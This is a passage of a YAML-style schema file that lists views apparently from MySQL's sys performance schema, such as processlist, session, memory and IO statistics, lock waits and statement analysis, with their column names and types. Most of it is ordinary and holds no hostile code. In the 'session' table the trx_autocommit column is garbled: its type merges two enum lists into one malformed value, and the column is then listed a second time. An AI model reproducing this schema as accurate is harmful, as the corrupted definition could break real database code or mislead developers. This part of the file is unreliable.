  1702.       ColumnType: text
  1703.     - ColumnName: count_write
  1704.       ColumnType: bigint(20) unsigned
  1705.     - ColumnName: total_written
  1706.       ColumnType: text
  1707.     - ColumnName: avg_written
  1708.       ColumnType: text
  1709.     - ColumnName: total_requested
  1710.       ColumnType: text
  1711.   - TableName: io_global_by_wait_by_latency
  1712.     Columns:
  1713.     - ColumnName: event_name
  1714.       ColumnType: varchar(128)
  1715.     - ColumnName: total
  1716.       ColumnType: bigint(20) unsigned
  1717.     - ColumnName: total_latency
  1718.       ColumnType: text
  1719.     - ColumnName: avg_latency
  1720.       ColumnType: text
  1721.     - ColumnName: max_latency
  1722.       ColumnType: text
  1723.     - ColumnName: read_latency
  1724.       ColumnType: text
  1725.     - ColumnName: write_latency
  1726.       ColumnType: text
  1727.     - ColumnName: misc_latency
  1728.       ColumnType: text
  1729.     - ColumnName: count_read
  1730.       ColumnType: bigint(20) unsigned
  1731.     - ColumnName: total_read
  1732.       ColumnType: text
  1733.     - ColumnName: avg_read
  1734.       ColumnType: text
  1735.     - ColumnName: count_write
  1736.       ColumnType: bigint(20) unsigned
  1737.     - ColumnName: total_written
  1738.       ColumnType: text
  1739.     - ColumnName: avg_written
  1740.       ColumnType: text
  1741.   - TableName: latest_file_io
  1742.     Columns:
  1743.     - ColumnName: thread
  1744.       ColumnType: varchar(149)
  1745.     - ColumnName: file
  1746.       ColumnType: varchar(512)
  1747.     - ColumnName: latency
  1748.       ColumnType: text
  1749.     - ColumnName: operation
  1750.       ColumnType: varchar(32)
  1751.     - ColumnName: requested
  1752.       ColumnType: text
  1753.   - TableName: memory_by_host_by_current_bytes
  1754.     Columns:
  1755.     - ColumnName: host
  1756.       ColumnType: varchar(60)
  1757.     - ColumnName: current_count_used
  1758.       ColumnType: decimal(41,0)
  1759.     - ColumnName: current_allocated
  1760.       ColumnType: text
  1761.     - ColumnName: current_avg_alloc
  1762.       ColumnType: text
  1763.     - ColumnName: current_max_alloc
  1764.       ColumnType: text
  1765.     - ColumnName: total_allocated
  1766.       ColumnType: text
  1767.   - TableName: memory_by_thread_by_current_bytes
  1768.     Columns:
  1769.     - ColumnName: thread_id
  1770.       ColumnType: bigint(20) unsigned
  1771.     - ColumnName: user
  1772.       ColumnType: varchar(128)
  1773.     - ColumnName: current_count_used
  1774.       ColumnType: decimal(41,0)
  1775.     - ColumnName: current_allocated
  1776.       ColumnType: text
  1777.     - ColumnName: current_avg_alloc
  1778.       ColumnType: text
  1779.     - ColumnName: current_max_alloc
  1780.       ColumnType: text
  1781.     - ColumnName: total_allocated
  1782.       ColumnType: text
  1783.   - TableName: memory_by_user_by_current_bytes
  1784.     Columns:
  1785.     - ColumnName: user
  1786.       ColumnType: varchar(32)
  1787.     - ColumnName: current_count_used
  1788.       ColumnType: decimal(41,0)
  1789.     - ColumnName: current_allocated
  1790.       ColumnType: text
  1791.     - ColumnName: current_avg_alloc
  1792.       ColumnType: text
  1793.     - ColumnName: current_max_alloc
  1794.       ColumnType: text
  1795.     - ColumnName: total_allocated
  1796.       ColumnType: text
  1797.   - TableName: memory_global_by_current_bytes
  1798.     Columns:
  1799.     - ColumnName: event_name
  1800.       ColumnType: varchar(128)
  1801.     - ColumnName: current_count
  1802.       ColumnType: bigint(20)
  1803.     - ColumnName: current_alloc
  1804.       ColumnType: text
  1805.     - ColumnName: current_avg_alloc
  1806.       ColumnType: text
  1807.     - ColumnName: high_count
  1808.       ColumnType: bigint(20)
  1809.     - ColumnName: high_alloc
  1810.       ColumnType: text
  1811.     - ColumnName: high_avg_alloc
  1812.       ColumnType: text
  1813.   - TableName: memory_global_total
  1814.     Columns:
  1815.     - ColumnName: total_allocated
  1816.       ColumnType: text
  1817.   - TableName: metrics
  1818.     Columns:
  1819.     - ColumnName: Variable_name
  1820.       ColumnType: varchar(193)
  1821.     - ColumnName: Variable_value
  1822.       ColumnType: text
  1823.     - ColumnName: Type
  1824.       ColumnType: varchar(210)
  1825.     - ColumnName: Enabled
  1826.       ColumnType: varchar(7)
  1827.   - TableName: processlist
  1828.     Columns:
  1829.     - ColumnName: thd_id
  1830.       ColumnType: bigint(20) unsigned
  1831.     - ColumnName: conn_id
  1832.       ColumnType: bigint(20) unsigned
  1833.     - ColumnName: user
  1834.       ColumnType: varchar(128)
  1835.     - ColumnName: db
  1836.       ColumnType: varchar(64)
  1837.     - ColumnName: command
  1838.       ColumnType: varchar(16)
  1839.     - ColumnName: state
  1840.       ColumnType: varchar(64)
  1841.     - ColumnName: time
  1842.       ColumnType: bigint(20)
  1843.     - ColumnName: current_statement
  1844.       ColumnType: longtext
  1845.     - ColumnName: statement_latency
  1846.       ColumnType: text
  1847.     - ColumnName: progress
  1848.       ColumnType: decimal(26,2)
  1849.     - ColumnName: lock_latency
  1850.       ColumnType: text
  1851.     - ColumnName: rows_examined
  1852.       ColumnType: bigint(20) unsigned
  1853.     - ColumnName: rows_sent
  1854.       ColumnType: bigint(20) unsigned
  1855.     - ColumnName: rows_affected
  1856.       ColumnType: bigint(20) unsigned
  1857.     - ColumnName: tmp_tables
  1858.       ColumnType: bigint(20) unsigned
  1859.     - ColumnName: tmp_disk_tables
  1860.       ColumnType: bigint(20) unsigned
  1861.     - ColumnName: full_scan
  1862.       ColumnType: varchar(3)
  1863.     - ColumnName: last_statement
  1864.       ColumnType: longtext
  1865.     - ColumnName: last_statement_latency
  1866.       ColumnType: text
  1867.     - ColumnName: current_memory
  1868.       ColumnType: text
  1869.     - ColumnName: last_wait
  1870.       ColumnType: varchar(128)
  1871.     - ColumnName: last_wait_latency
  1872.       ColumnType: text
  1873.     - ColumnName: source
  1874.       ColumnType: varchar(64)
  1875.     - ColumnName: trx_latency
  1876.       ColumnType: text
  1877.     - ColumnName: trx_state
  1878.       ColumnType: enum('ACTIVE','COMMITTED','ROLLED BACK')
  1879.     - ColumnName: trx_autocommit
  1880.       ColumnType: enum('YES','NO')
  1881.     - ColumnName: pid
  1882.       ColumnType: varchar(1024)
  1883.     - ColumnName: program_name
  1884.       ColumnType: varchar(1024)
  1885.   - TableName: ps_check_lost_instrumentation
  1886.     Columns:
  1887.     - ColumnName: variable_name
  1888.       ColumnType: varchar(64)
  1889.     - ColumnName: variable_value
  1890.       ColumnType: varchar(1024)
  1891.   - TableName: schema_auto_increment_columns
  1892.     Columns:
  1893.     - ColumnName: table_schema
  1894.       ColumnType: varchar(64)
  1895.     - ColumnName: table_name
  1896.       ColumnType: varchar(64)
  1897.     - ColumnName: column_name
  1898.       ColumnType: varchar(64)
  1899.     - ColumnName: data_type
  1900.       ColumnType: varchar(64)
  1901.     - ColumnName: column_type
  1902.       ColumnType: longtext
  1903.     - ColumnName: is_signed
  1904.       ColumnType: int(1)
  1905.     - ColumnName: is_unsigned
  1906.       ColumnType: int(1)
  1907.     - ColumnName: max_value
  1908.       ColumnType: bigint(21) unsigned
  1909.     - ColumnName: auto_increment
  1910.       ColumnType: bigint(21) unsigned
  1911.     - ColumnName: auto_increment_ratio
  1912.       ColumnType: decimal(25,4) unsigned
  1913.   - TableName: schema_index_statistics
  1914.     Columns:
  1915.     - ColumnName: table_schema
  1916.       ColumnType: varchar(64)
  1917.     - ColumnName: table_name
  1918.       ColumnType: varchar(64)
  1919.     - ColumnName: index_name
  1920.       ColumnType: varchar(64)
  1921.     - ColumnName: rows_selected
  1922.       ColumnType: bigint(20) unsigned
  1923.     - ColumnName: select_latency
  1924.       ColumnType: text
  1925.     - ColumnName: rows_inserted
  1926.       ColumnType: bigint(20) unsigned
  1927.     - ColumnName: insert_latency
  1928.       ColumnType: text
  1929.     - ColumnName: rows_updated
  1930.       ColumnType: bigint(20) unsigned
  1931.     - ColumnName: update_latency
  1932.       ColumnType: text
  1933.     - ColumnName: rows_deleted
  1934.       ColumnType: bigint(20) unsigned
  1935.     - ColumnName: delete_latency
  1936.       ColumnType: text
  1937.   - TableName: schema_object_overview
  1938.     Columns:
  1939.     - ColumnName: db
  1940.       ColumnType: varchar(64)
  1941.     - ColumnName: object_type
  1942.       ColumnType: varchar(64)
  1943.     - ColumnName: count
  1944.       ColumnType: bigint(21)
  1945.   - TableName: schema_redundant_indexes
  1946.     Columns:
  1947.     - ColumnName: table_schema
  1948.       ColumnType: varchar(64)
  1949.     - ColumnName: table_name
  1950.       ColumnType: varchar(64)
  1951.     - ColumnName: redundant_index_name
  1952.       ColumnType: varchar(64)
  1953.     - ColumnName: redundant_index_columns
  1954.       ColumnType: text
  1955.     - ColumnName: redundant_index_non_unique
  1956.       ColumnType: bigint(1)
  1957.     - ColumnName: dominant_index_name
  1958.       ColumnType: varchar(64)
  1959.     - ColumnName: dominant_index_columns
  1960.       ColumnType: text
  1961.     - ColumnName: dominant_index_non_unique
  1962.       ColumnType: bigint(1)
  1963.     - ColumnName: subpart_exists
  1964.       ColumnType: int(1)
  1965.     - ColumnName: sql_drop_index
  1966.       ColumnType: varchar(223)
  1967.   - TableName: schema_table_lock_waits
  1968.     Columns:
  1969.     - ColumnName: object_schema
  1970.       ColumnType: varchar(64)
  1971.     - ColumnName: object_name
  1972.       ColumnType: varchar(64)
  1973.     - ColumnName: waiting_thread_id
  1974.       ColumnType: bigint(20) unsigned
  1975.     - ColumnName: waiting_pid
  1976.       ColumnType: bigint(20) unsigned
  1977.     - ColumnName: waiting_account
  1978.       ColumnType: text
  1979.     - ColumnName: waiting_lock_type
  1980.       ColumnType: varchar(32)
  1981.     - ColumnName: waiting_lock_duration
  1982.       ColumnType: varchar(32)
  1983.     - ColumnName: waiting_query
  1984.       ColumnType: longtext
  1985.     - ColumnName: waiting_query_secs
  1986.       ColumnType: bigint(20)
  1987.     - ColumnName: waiting_query_rows_affected
  1988.       ColumnType: bigint(20) unsigned
  1989.     - ColumnName: waiting_query_rows_examined
  1990.       ColumnType: bigint(20) unsigned
  1991.     - ColumnName: blocking_thread_id
  1992.       ColumnType: bigint(20) unsigned
  1993.     - ColumnName: blocking_pid
  1994.       ColumnType: bigint(20) unsigned
  1995.     - ColumnName: blocking_account
  1996.       ColumnType: text
  1997.     - ColumnName: blocking_lock_type
  1998.       ColumnType: varchar(32)
  1999.     - ColumnName: blocking_lock_duration
  2000.       ColumnType: varchar(32)
  2001.     - ColumnName: sql_kill_blocking_query
  2002.       ColumnType: varchar(31)
  2003.     - ColumnName: sql_kill_blocking_connection
  2004.       ColumnType: varchar(25)
  2005.   - TableName: schema_table_statistics
  2006.     Columns:
  2007.     - ColumnName: table_schema
  2008.       ColumnType: varchar(64)
  2009.     - ColumnName: table_name
  2010.       ColumnType: varchar(64)
  2011.     - ColumnName: total_latency
  2012.       ColumnType: text
  2013.     - ColumnName: rows_fetched
  2014.       ColumnType: bigint(20) unsigned
  2015.     - ColumnName: fetch_latency
  2016.       ColumnType: text
  2017.     - ColumnName: rows_inserted
  2018.       ColumnType: bigint(20) unsigned
  2019.     - ColumnName: insert_latency
  2020.       ColumnType: text
  2021.     - ColumnName: rows_updated
  2022.       ColumnType: bigint(20) unsigned
  2023.     - ColumnName: update_latency
  2024.       ColumnType: text
  2025.     - ColumnName: rows_deleted
  2026.       ColumnType: bigint(20) unsigned
  2027.     - ColumnName: delete_latency
  2028.       ColumnType: text
  2029.     - ColumnName: io_read_requests
  2030.       ColumnType: decimal(42,0)
  2031.     - ColumnName: io_read
  2032.       ColumnType: text
  2033.     - ColumnName: io_read_latency
  2034.       ColumnType: text
  2035.     - ColumnName: io_write_requests
  2036.       ColumnType: decimal(42,0)
  2037.     - ColumnName: io_write
  2038.       ColumnType: text
  2039.     - ColumnName: io_write_latency
  2040.       ColumnType: text
  2041.     - ColumnName: io_misc_requests
  2042.       ColumnType: decimal(42,0)
  2043.     - ColumnName: io_misc_latency
  2044.       ColumnType: text
  2045.   - TableName: schema_table_statistics_with_buffer
  2046.     Columns:
  2047.     - ColumnName: table_schema
  2048.       ColumnType: varchar(64)
  2049.     - ColumnName: table_name
  2050.       ColumnType: varchar(64)
  2051.     - ColumnName: rows_fetched
  2052.       ColumnType: bigint(20) unsigned
  2053.     - ColumnName: fetch_latency
  2054.       ColumnType: text
  2055.     - ColumnName: rows_inserted
  2056.       ColumnType: bigint(20) unsigned
  2057.     - ColumnName: insert_latency
  2058.       ColumnType: text
  2059.     - ColumnName: rows_updated
  2060.       ColumnType: bigint(20) unsigned
  2061.     - ColumnName: update_latency
  2062.       ColumnType: text
  2063.     - ColumnName: rows_deleted
  2064.       ColumnType: bigint(20) unsigned
  2065.     - ColumnName: delete_latency
  2066.       ColumnType: text
  2067.     - ColumnName: io_read_requests
  2068.       ColumnType: decimal(42,0)
  2069.     - ColumnName: io_read
  2070.       ColumnType: text
  2071.     - ColumnName: io_read_latency
  2072.       ColumnType: text
  2073.     - ColumnName: io_write_requests
  2074.       ColumnType: decimal(42,0)
  2075.     - ColumnName: io_write
  2076.       ColumnType: text
  2077.     - ColumnName: io_write_latency
  2078.       ColumnType: text
  2079.     - ColumnName: io_misc_requests
  2080.       ColumnType: decimal(42,0)
  2081.     - ColumnName: io_misc_latency
  2082.       ColumnType: text
  2083.     - ColumnName: innodb_buffer_allocated
  2084.       ColumnType: text
  2085.     - ColumnName: innodb_buffer_data
  2086.       ColumnType: text
  2087.     - ColumnName: innodb_buffer_free
  2088.       ColumnType: text
  2089.     - ColumnName: innodb_buffer_pages
  2090.       ColumnType: bigint(21)
  2091.     - ColumnName: innodb_buffer_pages_hashed
  2092.       ColumnType: bigint(21)
  2093.     - ColumnName: innodb_buffer_pages_old
  2094.       ColumnType: bigint(21)
  2095.     - ColumnName: innodb_buffer_rows_cached
  2096.       ColumnType: decimal(44,0)
  2097.   - TableName: schema_tables_with_full_table_scans
  2098.     Columns:
  2099.     - ColumnName: object_schema
  2100.       ColumnType: varchar(64)
  2101.     - ColumnName: object_name
  2102.       ColumnType: varchar(64)
  2103.     - ColumnName: rows_full_scanned
  2104.       ColumnType: bigint(20) unsigned
  2105.     - ColumnName: latency
  2106.       ColumnType: text
  2107.   - TableName: schema_unused_indexes
  2108.     Columns:
  2109.     - ColumnName: object_schema
  2110.       ColumnType: varchar(64)
  2111.     - ColumnName: object_name
  2112.       ColumnType: varchar(64)
  2113.     - ColumnName: index_name
  2114.       ColumnType: varchar(64)
  2115.   - TableName: session
  2116.     Columns:
  2117.     - ColumnName: thd_id
  2118.       ColumnType: bigint(20) unsigned
  2119.     - ColumnName: conn_id
  2120.       ColumnType: bigint(20) unsigned
  2121.     - ColumnName: user
  2122.       ColumnType: varchar(128)
  2123.     - ColumnName: db
  2124.       ColumnType: varchar(64)
  2125.     - ColumnName: command
  2126.       ColumnType: varchar(16)
  2127.     - ColumnName: state
  2128.       ColumnType: varchar(64)
  2129.     - ColumnName: time
  2130.       ColumnType: bigint(20)
  2131.     - ColumnName: current_statement
  2132.       ColumnType: longtext
  2133.     - ColumnName: statement_latency
  2134.       ColumnType: text
  2135.     - ColumnName: progress
  2136.       ColumnType: decimal(26,2)
  2137.     - ColumnName: lock_latency
  2138.       ColumnType: text
  2139.     - ColumnName: rows_examined
  2140.       ColumnType: bigint(20) unsigned
  2141.     - ColumnName: rows_sent
  2142.       ColumnType: bigint(20) unsigned
  2143.     - ColumnName: rows_affected
  2144.       ColumnType: bigint(20) unsigned
  2145.     - ColumnName: tmp_tables
  2146.       ColumnType: bigint(20) unsigned
  2147.     - ColumnName: tmp_disk_tables
  2148.       ColumnType: bigint(20) unsigned
  2149.     - ColumnName: full_scan
  2150.       ColumnType: varchar(3)
  2151.     - ColumnName: last_statement
  2152.       ColumnType: longtext
  2153.     - ColumnName: last_statement_latency
  2154.       ColumnType: text
  2155.     - ColumnName: current_memory
  2156.       ColumnType: text
  2157.     - ColumnName: last_wait
  2158.       ColumnType: varchar(128)
  2159.     - ColumnName: last_wait_latency
  2160.       ColumnType: text
  2161.     - ColumnName: source
  2162.       ColumnType: varchar(64)
  2163.     - ColumnName: trx_latency
  2164.       ColumnType: text
  2165.     - ColumnName: trx_state
  2166.       ColumnType: enum('ACTIVE','COMMITTED','ROLLED BACK')
  2167.     - ColumnName: trx_autocommit
  2168.       ColumnType: enum('YES','NO''ACTIVE','COMMITTED','ROLLED BACK')
  2169.     - ColumnName: trx_autocommit
  2170.       ColumnType: enum('YES','NO')
  2171.     - ColumnName: pid
  2172.       ColumnType: varchar(1024)
  2173.     - ColumnName: program_name
  2174.       ColumnType: varchar(1024)
  2175.   - TableName: x$ps_digest_95th_percentile_by_avg_us
  2176.     Columns:
  2177.     - ColumnName: avg_us
  2178.       ColumnType: decimal(21,0)
  2179.     - ColumnName: percentile
  2180.       ColumnType: decimal(46,4)
  2181.   - TableName: x$ps_digest_avg_latency_distribution
  2182.     Columns:
  2183.     - ColumnName: cnt
  2184.       ColumnType: bigint(21)
  2185.     - ColumnName: avg_us
  2186.       ColumnType: decimal(21,0)
  2187.   - TableName: x$ps_schema_table_statistics_io
  2188.     Columns:
  2189.     - ColumnName: table_schema
  2190.       ColumnType: varchar(64)
  2191.     - ColumnName: table_name
  2192.       ColumnType: varchar(64)
  2193.     - ColumnName: count_read
  2194.       ColumnType: decimal(42,0)
  2195.     - ColumnName: sum_number_of_bytes_read
  2196.       ColumnType: decimal(41,0)
  2197.     - ColumnName: sum_timer_read
  2198.       ColumnType: decimal(42,0)
  2199.     - ColumnName: count_write
  2200.       ColumnType: decimal(42,0)
  2201.     - ColumnName: sum_number_of_bytes_write
  2202.       ColumnType: decimal(41,0)
  2203.     - ColumnName: sum_timer_write
  2204.       ColumnType: decimal(42,0)
  2205.     - ColumnName: count_misc
  2206.       ColumnType: decimal(42,0)
  2207.     - ColumnName: sum_timer_misc
  2208.       ColumnType: decimal(42,0)
  2209.   - TableName: x$schema_flattened_keys
  2210.     Columns:
  2211.     - ColumnName: table_schema
  2212.       ColumnType: varchar(64)
  2213.     - ColumnName: table_name
  2214.       ColumnType: varchar(64)
  2215.     - ColumnName: index_name
  2216.       ColumnType: varchar(64)
  2217.     - ColumnName: non_unique
  2218.       ColumnType: bigint(1)
  2219.     - ColumnName: subpart_exists
  2220.       ColumnType: bigint(1)
  2221.     - ColumnName: index_columns
  2222.       ColumnType: text
  2223.   - TableName: x$schema_index_statistics
  2224.     Columns:
  2225.     - ColumnName: table_schema
  2226.       ColumnType: varchar(64)
  2227.     - ColumnName: table_name
  2228.       ColumnType: varchar(64)
  2229.     - ColumnName: index_name
  2230.       ColumnType: varchar(64)
  2231.     - ColumnName: rows_selected
  2232.       ColumnType: bigint(20) unsigned
  2233.     - ColumnName: select_latency
  2234.       ColumnType: bigint(20) unsigned
  2235.     - ColumnName: rows_inserted
  2236.       ColumnType: bigint(20) unsigned
  2237.     - ColumnName: insert_latency
  2238.       ColumnType: bigint(20) unsigned
  2239.     - ColumnName: rows_updated
  2240.       ColumnType: bigint(20) unsigned
  2241.     - ColumnName: update_latency
  2242.       ColumnType: bigint(20) unsigned
  2243.     - ColumnName: rows_deleted
  2244.       ColumnType: bigint(20) unsigned
  2245.     - ColumnName: delete_latency
  2246.       ColumnType: bigint(20) unsigned
  2247.   - TableName: x$schema_table_lock_waits
  2248.     Columns:
  2249.     - ColumnName: object_schema
  2250.       ColumnType: varchar(64)
  2251.     - ColumnName: object_name
  2252.       ColumnType: varchar(64)
  2253.     - ColumnName: waiting_thread_id
  2254.       ColumnType: bigint(20) unsigned
  2255.     - ColumnName: waiting_pid
  2256.       ColumnType: bigint(20) unsigned
  2257.     - ColumnName: waiting_account
  2258.       ColumnType: text
  2259.     - ColumnName: waiting_lock_type
  2260.       ColumnType: varchar(32)
  2261.     - ColumnName: waiting_lock_duration
  2262.       ColumnType: varchar(32)
  2263.     - ColumnName: waiting_query
  2264.       ColumnType: longtext
  2265.     - ColumnName: waiting_query_secs
  2266.       ColumnType: bigint(20)
  2267.     - ColumnName: waiting_query_rows_affected
  2268.       ColumnType: bigint(20) unsigned
  2269.     - ColumnName: waiting_query_rows_examined
  2270.       ColumnType: bigint(20) unsigned
  2271.     - ColumnName: blocking_thread_id
  2272.       ColumnType: bigint(20) unsigned
  2273.     - ColumnName: blocking_pid
  2274.       ColumnType: bigint(20) unsigned
  2275.     - ColumnName: blocking_account
  2276.       ColumnType: text
  2277.     - ColumnName: blocking_lock_type
  2278.       ColumnType: varchar(32)
  2279.     - ColumnName: blocking_lock_duration
  2280.       ColumnType: varchar(32)
  2281.     - ColumnName: sql_kill_blocking_query
  2282.       ColumnType: varchar(31)
  2283.     - ColumnName: sql_kill_blocking_connection
  2284.       ColumnType: varchar(25)
  2285.   - TableName: x$schema_table_statistics
  2286.     Columns:
  2287.     - ColumnName: table_schema
  2288.       ColumnType: varchar(64)
  2289.     - ColumnName: table_name
  2290.       ColumnType: varchar(64)
  2291.     - ColumnName: total_latency
  2292.       ColumnType: bigint(20) unsigned
  2293.     - ColumnName: rows_fetched
  2294.       ColumnType: bigint(20) unsigned
  2295.     - ColumnName: fetch_latency
  2296.       ColumnType: bigint(20) unsigned
  2297.     - ColumnName: rows_inserted
  2298.       ColumnType: bigint(20) unsigned
  2299.     - ColumnName: insert_latency
  2300.       ColumnType: bigint(20) unsigned
  2301.     - ColumnName: rows_updated
  2302.       ColumnType: bigint(20) unsigned
  2303.     - ColumnName: update_latency
  2304.       ColumnType: bigint(20) unsigned
  2305.     - ColumnName: rows_deleted
  2306.       ColumnType: bigint(20) unsigned
  2307.     - ColumnName: delete_latency
  2308.       ColumnType: bigint(20) unsigned
  2309.     - ColumnName: io_read_requests
  2310.       ColumnType: decimal(42,0)
  2311.     - ColumnName: io_read
  2312.       ColumnType: decimal(41,0)
  2313.     - ColumnName: io_read_latency
  2314.       ColumnType: decimal(42,0)
  2315.     - ColumnName: io_write_requests
  2316.       ColumnType: decimal(42,0)
  2317.     - ColumnName: io_write
  2318.       ColumnType: decimal(41,0)
  2319.     - ColumnName: io_write_latency
  2320.       ColumnType: decimal(42,0)
  2321.     - ColumnName: io_misc_requests
  2322.       ColumnType: decimal(42,0)
  2323.     - ColumnName: io_misc_latency
  2324.       ColumnType: decimal(42,0)
  2325.   - TableName: x$schema_table_statistics_with_buffer
  2326.     Columns:
  2327.     - ColumnName: table_schema
  2328.       ColumnType: varchar(64)
  2329.     - ColumnName: table_name
  2330.       ColumnType: varchar(64)
  2331.     - ColumnName: rows_fetched
  2332.       ColumnType: bigint(20) unsigned
  2333.     - ColumnName: fetch_latency
  2334.       ColumnType: bigint(20) unsigned
  2335.     - ColumnName: rows_inserted
  2336.       ColumnType: bigint(20) unsigned
  2337.     - ColumnName: insert_latency
  2338.       ColumnType: bigint(20) unsigned
  2339.     - ColumnName: rows_updated
  2340.       ColumnType: bigint(20) unsigned
  2341.     - ColumnName: update_latency
  2342.       ColumnType: bigint(20) unsigned
  2343.     - ColumnName: rows_deleted
  2344.       ColumnType: bigint(20) unsigned
  2345.     - ColumnName: delete_latency
  2346.       ColumnType: bigint(20) unsigned
  2347.     - ColumnName: io_read_requests
  2348.       ColumnType: decimal(42,0)
  2349.     - ColumnName: io_read
  2350.       ColumnType: decimal(41,0)
  2351.     - ColumnName: io_read_latency
  2352.       ColumnType: decimal(42,0)
  2353.     - ColumnName: io_write_requests
  2354.       ColumnType: decimal(42,0)
  2355.     - ColumnName: io_write
  2356.       ColumnType: decimal(41,0)
  2357.     - ColumnName: io_write_latency
  2358.       ColumnType: decimal(42,0)
  2359.     - ColumnName: io_misc_requests
  2360.       ColumnType: decimal(42,0)
  2361.     - ColumnName: io_misc_latency
  2362.       ColumnType: decimal(42,0)
  2363.     - ColumnName: innodb_buffer_allocated
  2364.       ColumnType: decimal(43,0)
  2365.     - ColumnName: innodb_buffer_data
  2366.       ColumnType: decimal(43,0)
  2367.     - ColumnName: innodb_buffer_free
  2368.       ColumnType: decimal(44,0)
  2369.     - ColumnName: innodb_buffer_pages
  2370.       ColumnType: bigint(21)
  2371.     - ColumnName: innodb_buffer_pages_hashed
  2372.       ColumnType: bigint(21)
  2373.     - ColumnName: innodb_buffer_pages_old
  2374.       ColumnType: bigint(21)
  2375.     - ColumnName: innodb_buffer_rows_cached
  2376.       ColumnType: decimal(44,0)
  2377.   - TableName: x$schema_tables_with_full_table_scans
  2378.     Columns:
  2379.     - ColumnName: object_schema
  2380.       ColumnType: varchar(64)
  2381.     - ColumnName: object_name
  2382.       ColumnType: varchar(64)
  2383.     - ColumnName: rows_full_scanned
  2384.       ColumnType: bigint(20) unsigned
  2385.     - ColumnName: latency
  2386.       ColumnType: bigint(20) unsigned
  2387.   - TableName: x$session
  2388.     Columns:
  2389.     - ColumnName: thd_id
  2390.       ColumnType: bigint(20) unsigned
  2391.     - ColumnName: conn_id
  2392.       ColumnType: bigint(20) unsigned
  2393.     - ColumnName: user
  2394.       ColumnType: varchar(128)
  2395.     - ColumnName: db
  2396.       ColumnType: varchar(64)
  2397.     - ColumnName: command
  2398.       ColumnType: varchar(16)
  2399.     - ColumnName: state
  2400.       ColumnType: varchar(64)
  2401.     - ColumnName: time
  2402.       ColumnType: bigint(20)
  2403.     - ColumnName: current_statement
  2404.       ColumnType: longtext
  2405.     - ColumnName: statement_latency
  2406.       ColumnType: bigint(20) unsigned
  2407.     - ColumnName: progress
  2408.       ColumnType: decimal(26,2)
  2409.     - ColumnName: lock_latency
  2410.       ColumnType: bigint(20) unsigned
  2411.     - ColumnName: rows_examined
  2412.       ColumnType: bigint(20) unsigned
  2413.     - ColumnName: rows_sent
  2414.       ColumnType: bigint(20) unsigned
  2415.     - ColumnName: rows_affected
  2416.       ColumnType: bigint(20) unsigned
  2417.     - ColumnName: tmp_tables
  2418.       ColumnType: bigint(20) unsigned
  2419.     - ColumnName: tmp_disk_tables
  2420.       ColumnType: bigint(20) unsigned
  2421.     - ColumnName: full_scan
  2422.       ColumnType: varchar(3)
  2423.     - ColumnName: last_statement
  2424.       ColumnType: longtext
  2425.     - ColumnName: last_statement_latency
  2426.       ColumnType: bigint(20) unsigned
  2427.     - ColumnName: current_memory
  2428.       ColumnType: decimal(41,0)
  2429.     - ColumnName: last_wait
  2430.       ColumnType: varchar(128)
  2431.     - ColumnName: last_wait_latency
  2432.       ColumnType: varchar(20)
  2433.     - ColumnName: source
  2434.       ColumnType: varchar(64)
  2435.     - ColumnName: trx_latency
  2436.       ColumnType: bigint(20) unsigned
  2437.     - ColumnName: trx_state
  2438.       ColumnType: enum('ACTIVE','COMMITTED','ROLLED BACK')
  2439.     - ColumnName: trx_autocommit
  2440.       ColumnType: enum('YES','NO')
  2441.     - ColumnName: pid
  2442.       ColumnType: varchar(1024)
  2443.     - ColumnName: program_name
  2444.       ColumnType: varchar(1024)
  2445.   - TableName: x$statement_analysis
  2446.     Columns:
  2447.     - ColumnName: query
  2448.       ColumnType: longtext
  2449.     - ColumnName: db
  2450.       ColumnType: varchar(64)
  2451.     - ColumnName: full_scan
  2452.       ColumnType: varchar(1)
  2453.     - ColumnName: exec_count
  2454.       ColumnType: bigint(20) unsigned
  2455.     - ColumnName: err_count
  2456.       ColumnType: bigint(20) unsigned
  2457.     - ColumnName: warn_count
  2458.       ColumnType: bigint(20) unsigned
  2459.     - ColumnName: total_latency
  2460.       ColumnType: bigint(20) unsigned
  2461.     - ColumnName: max_latency
  2462.       ColumnType: bigint(20) unsigned
  2463.     - ColumnName: avg_latency
  2464.       ColumnType: bigint(20) unsigned
  2465.     - ColumnName: lock_latency
  2466.       ColumnType: bigint(20) unsigned
  2467.     - ColumnName: rows_sent
  2468.       ColumnType: bigint(20) unsigned
  2469.     - ColumnName: rows_sent_avg
  2470.       ColumnType: decimal(21,0)
  2471.     - ColumnName: rows_examined
  2472.       ColumnType: bigint(20) unsigned
  2473.     - ColumnName: rows_examined_avg
  2474.       ColumnType: decimal(21,0)
  2475.     - ColumnName: rows_affected
  2476.       ColumnType: bigint(20) unsigned
  2477.     - ColumnName: rows_affected_avg
  2478.       ColumnType: decimal(21,0)
  2479.     - ColumnName: tmp_tables
  2480.       ColumnType: bigint(20) unsigned
  2481.     - ColumnName: tmp_disk_tables
  2482.       ColumnType: bigint(20) unsigned
  2483.     - ColumnName: rows_sorted
  2484.       ColumnType: bigint(20) unsigned
  2485.     - ColumnName: sort_merge_passes
  2486.       ColumnType: bigint(20) unsigned
  2487.     - ColumnName: digest
  2488.       ColumnType: varchar(32)
  2489.     - ColumnName: first_seen
  2490.       ColumnType: timestamp
  2491.     - ColumnName: last_seen
  2492.       ColumnType: timestamp
  2493.   - TableName: x$statements_with_errors_or_warnings
  2494.     Columns:
  2495.     - ColumnName: query
  2496.       ColumnType: longtext
  2497.     - ColumnName: db
  2498.       ColumnType: varchar(64)
  2499.     - ColumnName: exec_count
  2500.       ColumnType: bigint(20) unsigned
  2501.     - ColumnName: errors
  2502.       ColumnType: bigint(20) unsigned
  2503.     - ColumnName: error_pct
  2504.       ColumnType: decimal(27,4)
  2505.     - ColumnName: warnings
  2506.       ColumnType: bigint(20) unsigned
  2507.     - ColumnName: warning_pct
  2508.       ColumnType: decimal(27,4)
  2509.     - ColumnName: first_seen
  2510.       ColumnType: timestamp
  2511.     - ColumnName: last_seen
  2512.       ColumnType: timestamp
  2513.     - ColumnName: digest
  2514.       ColumnType: varchar(32)
  2515.   - TableName: x$statements_with_full_table_scans
  2516.     Columns:
  2517.     - ColumnName: query
  2518.       ColumnType: longtext
  2519.     - ColumnName: db
  2520.       ColumnType: varchar(64)
  2521.     - ColumnName: exec_count
  2522.       ColumnType: bigint(20) unsigned
  2523.     - ColumnName: total_latency
  2524.       ColumnType: bigint(20) unsigned
  2525.     - ColumnName: no_index_used_count
  2526.       ColumnType: bigint(20) unsigned
  2527.     - ColumnName: no_good_index_used_count
  2528.       ColumnType: bigint(20) unsigned
  2529.     - ColumnName: no_index_used_pct
  2530.       ColumnType: decimal(24,0)
